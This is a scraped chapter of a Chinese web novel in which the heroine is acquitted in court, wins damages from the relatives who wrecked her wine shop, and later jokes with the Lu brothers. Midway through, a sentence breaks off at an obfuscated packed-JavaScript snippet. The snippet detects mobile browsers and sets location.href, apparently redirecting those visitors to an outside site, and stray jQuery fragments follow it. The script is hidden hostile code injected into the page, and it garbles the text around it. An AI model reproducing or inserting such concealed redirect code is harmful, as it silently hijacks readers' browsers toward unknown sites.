55. 第 55 章

作品:《杳杳一枝春

    几个杳杳酒坊分部雇佣的女子各述其事,听的让在场的人都十分的伤心,如果有好的生活谁不愿意在家享受偏要离开家给别人打工呢?


    说罢,几个女子看向春杳杳眼里含着歉意,“春姑娘,请原谅我们的迟到。我们真的很怕,有人威胁我们说只要敢出庭作证就要把我们杀掉,我们一时胆怯把你一人独自留在这面对一切,要不是陆燃大哥及时出现我们就犯了大错了。”


    “春姑娘你一直对我们甚好,生活上帮助我们,感情上有问题也开导我们,我们本就无以为报了,更不能因此害了你,像春姑娘这样的女子为我们发声,愿意给所有女子一个机会,是大大的好人,根本就没有什么诱拐和哄骗,是我们求着她帮忙的。”


    为首的女子深深的向春杳杳鞠了一躬,紧接着其他女子也跟随一起鞠躬,就连公堂之外的门口人群中也有不少女子加入到其中。


    一时公堂之上,寂静无声,庄严肃穆,没有人敢打断这一刻,因为这是独属于女子的力量。


    宋状师的脸已然由红转青,原本都是计划好板上钉钉的事情,现在半路杀出个程咬金,不仅坏了他的好事,连名声都给搞臭了。


    县令私下里擦了一把冷汗,肃亲王告诉他要针对一下春杳杳,他掌管书院的儿子又跑出来插一脚又为人家洗脱冤屈,哪一方都是他惹不起的,难道他只是他们戏耍的一环。


    况且眼下的形势根本不死他能左右的,谁好谁坏高下立判,再多干预怕是自己县令的位置都难保。


    县令一拍惊堂木打破这份安静,“既然三项罪名皆是诬告,那春杳杳就无罪释放了吧。”


    众人皆是欢呼雀跃,酒坊的人松了一口气,陆淮一直紧握的双手终于松开,手掌展开已是汗水淋淋。


    他不知道自己从哪生的这份勇气,从前的他不敢忤逆爹,每日如行尸走肉般享受着奢靡的生活,自打遇见了春杳杳,他与父亲断绝父子关系,净身离家出走,到一个人孤生登上点苍山,而今竟然想去劫人。


    不过她没事就好。


    “慢着。”春杳杳依旧跪在地上,她抬眸直视县令。


    “何事?”县令被这两个字吓得一激灵,原本此事就是越早结束越好,而今听到这两个字遂觉得这个县令越来越难当了。


    “我要状告今日全体闹事的人,以莫须有的罪名来我酒坊强行打砸,损坏物品价值高达一千两,我要求全额赔偿。”春杳杳言辞清晰道。


    “嗯……这件事不如你也宽宏大量一点既往不咎算了,都是一些可怜人。”县令支吾道,这些事可就难判了,清官难断家务事,闹事之人其中还有春杳杳的婆婆和亲爹亲娘。


    “可怜之人必有可恨之处,先前凡事我都处处忍让,却偏遭纠缠造谣,传我是扫把星就算了,忍让至今竟然遭他们上门打砸,如果我再忍让下去是不是连我的命都要拿去?”春杳杳反问道。


    对于这个非亲非故的婆婆她早已断绝关系,反而是她一再纠缠,为了钱无所不用其极,先是找李二狗想打她,如今带人上门砸了她的酒坊。而这爹娘更是只把自己当物件利用,未尽生养之责,却想享受她如今的风光。


    这二者之冷血,若不给教训就会更加助长这种风气,到时候所有女子的爹娘都会如此对待她们,不知道还有多少受害者。


    “况且酒坊非我一人的产业,我们酒坊的每一位都是它的主人,他们打砸的也不是我一个人的心血是所有人的心血,就算我既往不咎,那别人如何呢?”


    接连的几个问题让县令一时语塞。


    “追究责任!”陆淮在后面高声喊道。


    “追究责任!”酒坊所有的员工乃至人群都跟着一起喊


    眼看追究责任的呼声越来越高,李氏老太早已经跌坐在地上,因为打砸的时候数她最起劲,而且她光挑贵的砸,还时不时的偷藏了一些在口袋里。


    刚刚这一下,她坐在地上口袋里的东西哗啦一下全部都掉了出来,净是些之前的小被子小玉石等珍贵玩意儿。


    而春杳杳的亲生父母则跪倒在她的旁边不断恳求她,“家里没钱我们也是实在没有办法,要不是李氏找上门我们都不知道你现在这么有出息,我们也只是想让你帮帮家里,毕竟现在京城外的生活不好过,你的弟弟妹妹现在饭都吃不饱。”


    “唉,当初就不应该听从李氏的话上门闹事。”春杳杳的爹叹了一口气认命似的坐在了地上,“我们也知道你嫁过去第一天就被赶出门了,可是我们又能有什么办法,家里真的没钱,再把你接回来也是一起挨饿。”


    “所以呢,就要跟李氏一起来打砸我的心血是么?家贫可以理解,但是你们何曾给过我爱,我曾欺骗自己是生活将你们变的麻木,但是你们对待哥哥弟弟为什么就不一样,反而对我和妹妹如此的冷漠,我们就不是人吗?只因为我们长大了就要嫁人就是赔钱货,就不值得被爱吗?”


    春杳杳说着已经有温热的液体从脸颊划过,不知是原主的哭诉还是这样的事情让她感觉到了心痛。


    哪怕到了现实社会依旧有重男轻女的家庭,春杳杳作为一个孤儿也曾想过自己是不是因为重男轻女而将自己遗弃的,那种痛苦不是暴风雨席卷而来的痛,而是每每午夜梦回想起来都如针扎浑身一般的刺骨之痛。


    “每个人都应该为自己的行为付出代价。”春杳杳擦掉眼角的泪冷静道,这些错误不可原谅,更是因为要给所有人一个警戒,撒泼打滚,造谣诽谤如果有用的话,那法律又有什么意义?


    县令看着春杳杳只觉得胆寒,一个女子竟然能如此的清醒冷漠,她未曾漏出过任何慌乱的神色,连最后的反杀好像都是在意料之中。


    “那就判这几人共同赔偿杳杳酒坊共一千两。”


    在县令的一声惊堂木之后,完结了这次的案件审理。


    李氏佯装昏倒在地,春杳杳的爹娘脸色灰暗跪在地上,其余人等皆是叫苦不迭,原本也是受人教唆,如今钱没拿到还要搭进去几十两,简直是太倒霉了。


    陆淮和陆燃同时扶起春杳杳,长久的跪姿让她的腿都麻了,她不得不就这样被二人架在中间。


    “哥,你不是受爹的命令向来不肯在市井间轻易抛头露面的,怎么还会出现在县衙给杳杳当状师?”陆


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566599|162987||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    淮表情怪异问道,在这能见到他哥属实让他感到惊讶。


    “是杳杳姑娘指点我,凡事要求执着本心,不可刻意为之,也不可可以不为之,自我设限不可,别人设限更是不可。”陆燃文绉绉的说道,还询问春杳杳一番,“你看我此次这般理解如何?我既觉得春姑娘不是那种人,我就应该不受限制追寻本心来为你辩护,此为心学。”


    春杳杳尴尬的点了点头,手臂处已经传来陆淮隐隐约约发出的力道了。


    “春姑娘真是好为人师呢,咋不说你是个活菩萨呢!”陆淮阴阳怪气道。


    “陆淮,看来跟随春姑娘身边你真是有了不少长进,连成语都会使用了。”陆燃十分开心的冲着陆淮笑道。


    陆淮从前就经常被这个文绉绉的哥哥整的无语,如今看来他当真是一点没变呢。


    “哥,你还是少惹爹生气为好,你也知道我跟二哥的事情,他现在肯定在家闹心呢。”陆淮担忧道。


    “是的,如今边关风云突变,陆桦马上可能又要去往边疆打仗了,爹如今心思全在他的身上尚没有时间来管我。”陆燃抬头一本正经的说道,“但是若管我我也跟随自己的心意,毕竟春姑娘指教的好。”


    “春姑娘那回去也给我指教指教吧。”陆淮盯着春杳杳阴阳怪气道。


    回到酒坊春杳杳觉得自己整个身子都要散架了,在监狱睡了一晚上那冰冷的寒意仿佛就入了骨髓,如今她只想回到温暖的被窝安眠一宿。


    春杳杳拉住他的手,脸红红道,“我有些冷,你的手热可以当一个暖手宝,你等我睡了你再走开。”


    陆淮坐在她床边,虽然满脸不悦还是帮她掖掖被子,“好吧,谁让你是个干瘪卖酒妹呢,我就好人做到底吧。”


    在这的生活她总做噩梦,但是拉着他的手就不会,很暖总是让她安心。


    -


    “春姑娘呢?陆淮呢?人呢都!”


    春杳杳被楼下的叫声惊醒,她的手还被陆淮握在手中,她的脸不自觉的红了,心里暗戳戳的想,也许陆淮对她也有一点这样的心思呢。


    陆淮却被这叫喊声吵得迷糊睁开眼,还没等春杳杳反应过来已经冲出了门外大声喊道,“是谁啊!这么早就吵人睡觉!”


    “呦,陆哥在这呢!”裴少潜大声喊道。


    转头就看见春杳杳自陆淮走出的屋子里面也走了春来,瞬间一副秒懂了发生什么的表情,“是小弟不懂事了,恕罪恕罪。”


    “你小子说什么呢!”陆淮从楼上一跃而下,狠狠的给了裴少潜一拳头。


    裴少潜捂着脑袋“哎呦哎呦”的抱怨道,“都从一个房间里走出来了还装什么装啊。”


    “你有话快说有屁快放!”陆淮不耐烦道,显然十分反感对方对他和春杳杳的打醋。


    裴少潜看着缓缓走来的春杳杳道,“吕钦把卷宗给到我了,不查不知道一查当年叶子家的案件属实离奇。”


    “别卖关子了。”陆淮又敲了他一下。


    裴少潜委屈道,“这个事情说来话长咱们去邀客来大酒楼说吧,我爹说正好让春姑娘来帮忙提点提点。”